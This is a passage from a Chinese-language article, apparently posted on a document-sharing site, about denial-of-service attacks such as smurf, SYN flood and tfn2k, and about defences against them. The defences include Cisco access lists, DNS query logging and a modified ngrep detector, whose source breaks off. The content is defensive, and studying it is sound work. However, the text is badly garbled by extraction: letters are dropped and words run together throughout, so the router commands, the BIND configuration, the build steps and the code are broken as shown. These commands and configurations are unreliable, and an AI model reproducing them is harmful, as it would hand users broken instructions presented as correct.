過多的請求。)拒絕服務攻擊還有可能是由于軟件的弱點或者對程序的錯誤配置造成的。區(qū)

分惡意的拒絕服務攻擊和非惡意的服務超載依賴于請求發(fā)起者對資源的請求是否過份,從而

使得其他的用戶無法享用該服務資源。

錯誤配置也會成為系統(tǒng)的安全隱患。這些錯誤配置通常發(fā)生在硬件裝置,系統(tǒng)或者應用

程序中。如果對網(wǎng)絡中的路由器,防火墻,交換機以及其他網(wǎng)絡連接設備都進行正確的配置

會減小這些錯誤發(fā)生的可能性。如果發(fā)現(xiàn)了這種漏洞應當請教專業(yè)的技術(shù)人員來修理這些問

題。

如果換個角度,也可以說是如下原因造成的:

錯誤配置。錯誤配置大多是由于一些沒經(jīng)驗的,無責任員工或者錯誤的理論所導致的。

開發(fā)商一般會通過對您進行簡單的詢問來提取一些主要的配置信息,然后在由經(jīng)過專業(yè)培訓

并相當內(nèi)行的專業(yè)人士來解決問題。

軟件弱點。由于使用的軟件幾乎完全依賴于開發(fā)商,所以對于由軟件引起的漏洞只能依

靠打補丁,安裝hotfixes和Servicepacks來彌補。當某個應用程序被發(fā)現(xiàn)有漏洞存在,開發(fā)

商會立即發(fā)布一個更新的版本來修正這個漏洞。

拒絕服務攻擊。拒絕服務攻擊大多是由于錯誤配置或者軟件弱點導致的。某些DoS攻

擊是由于開發(fā)協(xié)議固有的缺陷導致的,某些DoS攻擊可以通過簡單的補丁來解決,還有一

些導致攻擊的系統(tǒng)缺陷很難被彌補。最后,還有一些非惡意的拒絕服務攻擊的情況,這些情

況一般是由于帶寬或者資源過載產(chǎn)生瓶頸導致的,對于這種問題沒有一個固定的解決方案。

深入DoS

DoS的攻擊方式有很多種。最基本的DoS攻擊就是利用合理的服務請求來占用過多的

服務資源,致使服務超載,無法響應其他的請求。這些服務資源包括網(wǎng)絡帶寬,文件系統(tǒng)空

間容量,開放的進程或者向內(nèi)的連接。這種攻擊會導致資源的匱乏,無論計算機的處理速度

多么快,內(nèi)存容量多么大,互連網(wǎng)的速度多么快都無法避免這種攻擊帶來的后果。因為任何

事都有一個極限,所以,總能找到一個方法使請求的值大于該極限值,因此就會使所提供的

服務資源匱乏,象是無法滿足需求。千萬不要自認為自己擁有了足夠?qū)挼膸捑蜁幸粋€高

效率的網(wǎng)站,拒絕服務攻擊會使所有的資源變得非常渺小。

傳統(tǒng)上,攻擊者所面臨的主要問題是網(wǎng)絡帶寬,由較小的網(wǎng)絡規(guī)模和較慢的網(wǎng)絡速度,

無法使攻擊者發(fā)出過多的請求,然而,類似"thepingofdeath”的攻擊類型緊需要很少量的包就

可以摧毀一個沒有打過補丁的UNIX系統(tǒng)。當然,多數(shù)的DoS攻擊還是需要相當大的帶寬

的,但是高帶寬是大公司所擁有的,而以個人為主的黑客很難享用。為了克服這個缺點,惡

意的攻擊者開發(fā)了分布式的攻擊。這樣,攻擊者就可以利用工具集合許多的網(wǎng)絡帶寬來對同

一個目標發(fā)送大量的請求。

以下的兩種情況最容易導致拒絕服務攻擊:

由于程序員對程序錯誤的編制,導致系統(tǒng)不停的建立進程,最終耗盡資源,只能重新啟

動機器。不同的系統(tǒng)平臺都會采取某些方法可以防止一些特殊的用戶來占用過多的系統(tǒng)資

源,我們也建議盡量采用資源管理的方式來減輕這種安全威脅。

還有一種情況是由磁盤存儲空間引起的。假如一個用戶有權(quán)利存儲大量的文件的話,他

就有可能只為系統(tǒng)留下很小的空間用來存儲日志文件等系統(tǒng)信息。這是一種不良的操作習

慣,會給系統(tǒng)帶來隱患。這種情況下應該對系統(tǒng)配額作出考慮。

從安全的角度來看,本地的拒絕服務攻擊可以比較容易的追蹤并消除。而我們這篇文章

主要是針對于網(wǎng)絡環(huán)境下的DoS攻擊。下面我們大體討論一下較為常見的基于網(wǎng)絡的拒絕

服務攻擊:

Smurf(directedbroadcast)a廣播信息可以通過一定的手段(通過廣播地址或其他機制)

發(fā)送到整個網(wǎng)絡中的機器。當某臺機器使用廣播地址發(fā)送一個ICMPech。請求包時(例如

PING),一些系統(tǒng)會回應一個ICMPecho回應包,也就是說,發(fā)送一個包會收到許多的響應

包。Smurf攻擊就是使用這個原理來進行的,當然,它還需要一個假冒的源地址。也就是說

在網(wǎng)絡中發(fā)送源地址為要攻擊主機的地址,目的地址為廣播地址的包,會使許多的系統(tǒng)響應

發(fā)送大量的信息給被攻擊主機(因為他的地址被攻擊者假冒了)。使用網(wǎng)絡發(fā)送一個包而引

出大量回應的方式也被叫做“放大器",這些smurf放大器可以在網(wǎng)站上獲得,一些無能的且

不負責任的網(wǎng)站仍有很多的這種漏洞。

SYNfooding一臺機器在網(wǎng)絡中通訊時首先需要建立TCP握手,標準的TCP握手需要三

次包交換來建立。一臺服務器一旦接收到客戶機的SYN包后必須回應一個SYN/ACK包,

然后等待該客戶機回應給它一個ACK包來確認,才真正建立連接。然而,如果只發(fā)送初始

化的SYN包,而不發(fā)送確認服務器的ACK包會導致服務器一直等待ACK包。由于服務器

在有限的時間內(nèi)只能響應有限數(shù)量的連接,這就會導致服務器一直等待回應而無法響應其他

機器進行的連接請求。

Sashdoteffect這種攻擊手法使web服務器或其他類型的服務器由于大量的網(wǎng)絡傳輸而過

載,一般這些網(wǎng)絡流量是針對某一個頁面或一個鏈接而產(chǎn)生的。當然這種現(xiàn)象也會在訪問量

較大的網(wǎng)站上正常發(fā)生,但我們一定要把這些正常現(xiàn)象和拒絕服務攻擊區(qū)分開來。如果您的

服務器突然變得擁擠不堪,甚至無法響應再多的請求時,您應當仔細檢查一下這個資源匱乏

的現(xiàn)象,確認在10000次點擊里全都是合法用戶進行的,還是由5000個合法用戶和一個點

擊了5000次的攻擊者進行的。

拒絕服務一般都是由過載導致的,而過載一般是因為請求到達了極限。

拒絕服務攻擊的發(fā)展

由于我們防范手段的加強,拒絕服務攻擊手法也在不斷的發(fā)展。

TribeFoodNetwork(tfn)和tfn2k引入了一個新概念:分布式。這些程序可以使得分散在

互連網(wǎng)各處的機器共同完成對一臺主機攻擊的操作,從而使主機看起來好象是遭到了不同位

置的許多主機的攻擊.這些分散的機器由幾臺主控制機操作進行多種類型的攻擊,如

UDPfood,SYNfood等。

操作系統(tǒng)和網(wǎng)絡設備的缺陷在不斷地被發(fā)現(xiàn)并被黑客所利用來進行惡意的攻擊。如果我

們清楚的認識到了這一點,我們應當使用下面的兩步來盡量阻止網(wǎng)絡攻擊保護我們的網(wǎng)絡:

A)盡可能的修正已經(jīng)發(fā)現(xiàn)的問題和系統(tǒng)漏洞。

B)識別,跟蹤或禁止這些令人討厭的機器或網(wǎng)絡對我們的訪問。

我們先來討論一下B),在B)中我們面臨的主要問題是如何識別那些惡意攻擊的主機,

特別是使用拒絕服務攻擊的機器。因為這些機器隱藏了他們自己的地址,而冒用被攻擊者的

地址。攻擊者使用了數(shù)以千記的惡意偽造包來使我們的主機受到攻擊。"tfn2k”的原理就象上

面講的這么簡單,而他只不過又提供了一個形象的界面。假如您遭到了分布式的拒絕服務攻

擊,實在是很難處理。

解決此類問題的一些專業(yè)手段--包過濾及其他的路由設置

有一些簡單的手法來防止拒絕服務式的攻擊。最為常用的一種當然是時刻關(guān)注安全信息

以期待最好的方法出現(xiàn)。管理員應當訂閱安全信息報告,實時的關(guān)注所有安全問題的發(fā)展。:)

第二步是應用包過濾的技術(shù),主要是過濾對外開放的端口。這些手段主要是防止假冒地

址的攻擊,使得外部機器無法假冒內(nèi)部機器的地址來對內(nèi)部機器發(fā)動攻擊。

我們可以使用CiscoiOS來檢查路由器的詳細設置,當然,它也不僅限于Cisco的設備,

但由于現(xiàn)在Cisco設備在網(wǎng)絡中占有了越來越多的市場份額(83),所以我們還是以它為例

子,假如還有人有其他的例子,我們也非常高興你能提出您的寶貴信息。

登陸到將要配置的路由器上,在配置訪問控制列表之前先初始化一遍:

c3600(config)#access-istl00permitip55any

c3600(config)#access-ist1OOdenyipanyany

然后我們假設在路由器的SO口上進行AC的設置,我們進入SO口,并進入配置狀態(tài):

c3600(config)#intser0

c3600(config-if)#ipaccess-group1OOout

通過顯示access-ist來確認訪問權(quán)限已經(jīng)生效:

c3600#shoaccess-ists100

ExtendedIPaccessist100

permitip55any(5matches)

denyipanyany(25202matches)

對于應該使用向內(nèi)的包過濾還是使用向外的包過濾一直存在著爭論。RFC2267建議在

全球范圍的互連網(wǎng)上使用向內(nèi)過濾的機制,但是這樣會帶來很多的麻煩,在中等級別的路由

器上使用訪問控制列表不會帶來太大的麻煩,但是已經(jīng)滿載的骨干路由器上會受到明顯的威

脅。

另一方面,ISP如果使用向外的包過濾措施會把過載的流量轉(zhuǎn)移到一些不太忙的設備

上。ISP也不關(guān)心消費者是否在他們的邊界路由器上使用這種技術(shù)。當然,這種過濾技術(shù)也

并不是萬無一失的,這依賴于管理人員采用的過濾機制。

我們經(jīng)常會聽到設備銷售或集成商這樣的推脫之詞,他們總是說使用AC會導致路由器

和網(wǎng)絡性能的下降。AC確實會降低路由器的性能并加重CPU的負載,但這是微乎其微的。

我們曾經(jīng)在Cisco2600和3600系列路由器上作過實驗:

以下是不使用和使用AC時的對照表:

TestSpeedw/oAC(Mbps)w/AC(Mbps)w/oAC(totatime)w/AC(totatime)change

Cisco2600100Mbps-100MbpsFietransfers36.17Mbps35.46Mbps88.590.22.50

Cisco360010Mbps-》10MbpsFietransfers7.95Mbps8.0Mbps3973950.30

使用的路由器配置如下:

Cisco3640(64MBRAM,R4700processor,IOSvl2.0.5T)

Cisco2600(l28MBRAM,MPC860processor,IOSvl2.0.5T)

由表我們可以看出,在使用AC前后對路由器性能的影響并不是很大。

使用DNS來跟蹤匿名攻擊

也許大家仍舊保存著僥幸心理,認為這些互連網(wǎng)上給我們帶來無數(shù)麻煩DoS漏洞或許

隨著路由器包過濾,網(wǎng)絡協(xié)議升級到IPv6或者隨時的遠程響應等手段變得越來越不重要。

但從一個具有責任感的網(wǎng)管的觀點來看,我們的目標并不是僅僅阻止拒絕服務攻擊,而是要

追究到攻擊的發(fā)起原因及操作者。

當網(wǎng)絡中有人使用假冒了源地址的工具(如tfn2k)時,我們雖然沒有現(xiàn)成的工具來確

認它的合法性,但我們可以通過使用DNS來對其進行分析:

假如攻擊者選定了目標他必須首先發(fā)送一個DNS請求來解析這個域名,通常那些攻擊

工具工具會自己執(zhí)行這一步,調(diào)用gethostbyname()函數(shù)或者相應的應用程序接口,也就是說,

在攻擊事件發(fā)生前的DNS請求會提供給我們一個相關(guān)列表,我們可以利用它來定位攻擊者。

使用現(xiàn)成工具或者手工讀取DNS請求日志,來讀取DNS可疑的請求列表都是切實可行

的,然而,它有三個主要的缺點:

攻擊者一般會以本地的DNS為出發(fā)點來對地址進行解析查詢,因此我們查到的DNS

請求的發(fā)起者有可能不是攻擊者本身,而是他所請求的本地DNS服務器。盡管這樣,如果

攻擊者隱藏在一個擁有本地DNS的組織內(nèi),我們就可以把該組織作為查詢的起點。

攻擊者有可能已經(jīng)知道攻擊目標的IP地址,或者通過其他手段(host,ping)知道了目

標的IP地址,亦或是攻擊者在查詢到IP地址后很長一段時間才開始攻擊,這樣我們就無法

從DNS請求的時間段上來判斷攻擊者(或他們的本地服務器)。

DNS對不同的域名都有一個卻省的存活時間,因此攻擊者可以使用存儲在DNS緩存中

的信息來解析域名。為了更好做出詳細的解析記錄,您可以把DNS卻省的TT時間縮小,

但這樣會導致DNS更多的去查詢所以會加重網(wǎng)絡帶寬的使用。

在許多情況下,只要您擁有足夠的磁盤空間,記錄所有的DNS請求并不是一種有害的

做法。在BIND8.2中做記錄的話,可以在named.conf中假如下面的凡行:

ogging{channerequestog{fie"dns.og";};

categoryqueries{requestog;);};

使用ngrep來處理tfn2k攻擊

根據(jù)使用DNS來跟蹤tfn2k駐留程序的原理,現(xiàn)在已經(jīng)出現(xiàn)了稱為ngrep的實用工具。

經(jīng)過修改的ngrep(參見附錄)可以監(jiān)聽大約五種類型的tfn2k拒絕服務攻擊

(targa3,SYNfood,UDPfood,ICMPfood和smurf),它還有一個循環(huán)使用的緩存用來記錄DNS

和ICMP請求。如果ngrep發(fā)覺有攻擊行為的話,它會將其緩存中的內(nèi)容打印出來并繼續(xù)記

錄ICMP回應請求。假如攻擊者通過ping目標主機的手段來釧定攻擊目標的話,在攻擊過

程中或之后記錄ICMP的回應請求是一種捕獲粗心的攻擊者的方法。由于攻擊者還很可能使

用其他的服務來核實其攻擊的效果(例如web),所以對其他的標準服務也應當有盡量詳細

的日志記錄。

還應當注意,ngrep采用的是監(jiān)聽網(wǎng)絡的手段,因此,ngrep無法在交換式的環(huán)境中使

用。但是經(jīng)過修改的ngrep可以不必和你的DNS在同一個網(wǎng)段中,但是他必須位于一個可

以監(jiān)聽到所有DNS請求的位置。經(jīng)過修改的ngrep也不關(guān)心目標地址,您可以把它放置在

DMZ網(wǎng)段,使它能夠檢查橫貫該網(wǎng)絡的tfn2k攻擊。從理論上講,它也可以很好的檢測出

對外的tfn2k攻擊。

運行ngrep,您將看到:

[root@ughnasadngrepl#./ngrep

NgrepwithTFNdetectionmodificationsbywiretrip/

WatchingDNSserver:

interface:ethO(l/)

從這里開始ngrep將監(jiān)聽tfn2k攻擊,如果檢測到攻擊,ngrep將在屏幕上打印:

SunJan917:30:012000

ATFN2KUDPattackhasbeendetected!

ast(5000)DNSrequests:

^istofIPsthatmadeDNSrequests,uptoDNS_REQUEST_MAXength^

ast(lOOO)ICMPechorequests(pings):

^istofIPsthatmadeICMPechorequests,uptoICMP_REQUEST_MAXength^

IncomingreatimelCMPechorequests(pings):

^alCMPechorequestssincetheattackwasdetected^

以上的列表并不是唯一的,可以對它進行調(diào)整讓他不僅顯示是誰請求,而且請求多少次,

頻率為多少等等。在ICMPfood事件中,ICMP回應請求的報告中將不包括做為tfn2kfood一

部分的ICMP包。Ngrep還可以報告檢測出來的除smurf之外的攻擊類型

(TARGA,UDP,SYN,ICMP等)?;旌鲜降墓粼谌笔∏闆r下表現(xiàn)為ICMP攻擊,除非你屏

蔽了向內(nèi)的ICMP回應請求,這樣它就表現(xiàn)為UDP或SYN攻擊。這些攻擊的結(jié)果都是基本

類似的。

附錄-Ngrep.cwithtfn2kdetection

以下的代碼在使用前應當更改一些參數(shù)。

#defineDNS_REQUEST_MAX5000

#defineICMP_REQUEST_MAX1000

通知ngrep最大的請求跟蹤數(shù)(在檢測攻擊之前)。傳輸較為繁忙的網(wǎng)站應當增加這一

數(shù)值(網(wǎng)絡流量較為繁忙的網(wǎng)站DNS的請求數(shù)最好在10,000,而ICMP請求為2000-3000)

#defineFOOD_THRESHOD20

用在10秒中內(nèi)有多少同一類型的攻擊包來確認為真正的攻擊。數(shù)目設計的越大,程序

報受攻擊的可能性就越小。假如您老是收到錯誤的警報,那么您應當增加一下這個數(shù)值。

#defineDNS_SERVERJP""

Ngrep通過監(jiān)視DNS服務器的53端口的UDP包來跟蹤向內(nèi)的DNS請求(只有UDP)。

因此,ngrep需要知道您的DNS服務器的IP地址。

我們的設備可能會有多個DNS服務器,但我們認為對一臺DNS服務器的支持足以證明

這項技術(shù)的能力。

#defineTT_THRESHOD150

tfn2kSYNfood攻擊使用的TT值通常在200-255的范圍內(nèi)。估計到攻擊者與目標主機之

間不止50跳,因此我們可以只查找TT時間高于150的包。假如您相信攻擊者在50跳左右,

那么您可以對TT的限制進行一下更改。

編譯更改過的ngrep

編譯和安裝都非常簡單。您僅需要使用以下之一來取代ngrep.c文件。處于方便起見,

我們可以詳細說明。

這段代碼只是在RedHat6.1和Mandrake6.5inux上測試過。

首先您需要在下載ngrep,我們測試的是1.35版。

然后在我們使用的是0.40版。

把文件放在臨時文件夾里并解包,tarxvzfibpcap.tar.Z然后進行編譯

cdibpcap-0.4;./configure;make;makeinsta;makeinsta-inc

假如您遇到了困難,可以參見在ibpc叩-0.4目錄里的README或INSTA文件。根據(jù)我

們實驗的經(jīng)驗,如果/usr/oca/incude和/usr/oca/incude/net目錄在inux系統(tǒng)中不存在的話,安

裝會失敗。加入您在安裝時遇到了pcap.h或bpf.h的錯誤時你可以運行

mkdir/usr/oca/incude;mkdir/usr/oca/incude/net然后重新運行'makeinsta-inc'。然后我們需要

編譯ngrep(使用我們修改過的版本)。首先解包

tarxvzfngrep-1.35.tar.gz

然后進行配置

cdngrep;./configure

然后把ngrep.c復制到ngrep目錄里。你可以覆蓋也可以備份原始的ngrep.c文件。在這

里,您應當回顧在修改過的ngrep.c里的配置,至少您應當把DNS_SERVER」P更改為您所

使用的DNS的地址。更改完畢后你就可以運行'make,,這樣就建立了ngrep應用程序。

Modifiedngrep.csourcecode

/*thiscodeisavaiabefordownoadfrom/*

*$Id:ngrep.c,v1.351999/10/1316:44:16jpr5Exp$*/

/*TFNdetectioncodeaddedbyRainForestPuppy/rfp@

andNightAxis/na@*/

/*********T'f^]^4'detectiondefines*****************¥*************/

/*howmanyDNSandlCMPrequeststotrack*/

#defineDNS_REQUEST_MAX5000

#de

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論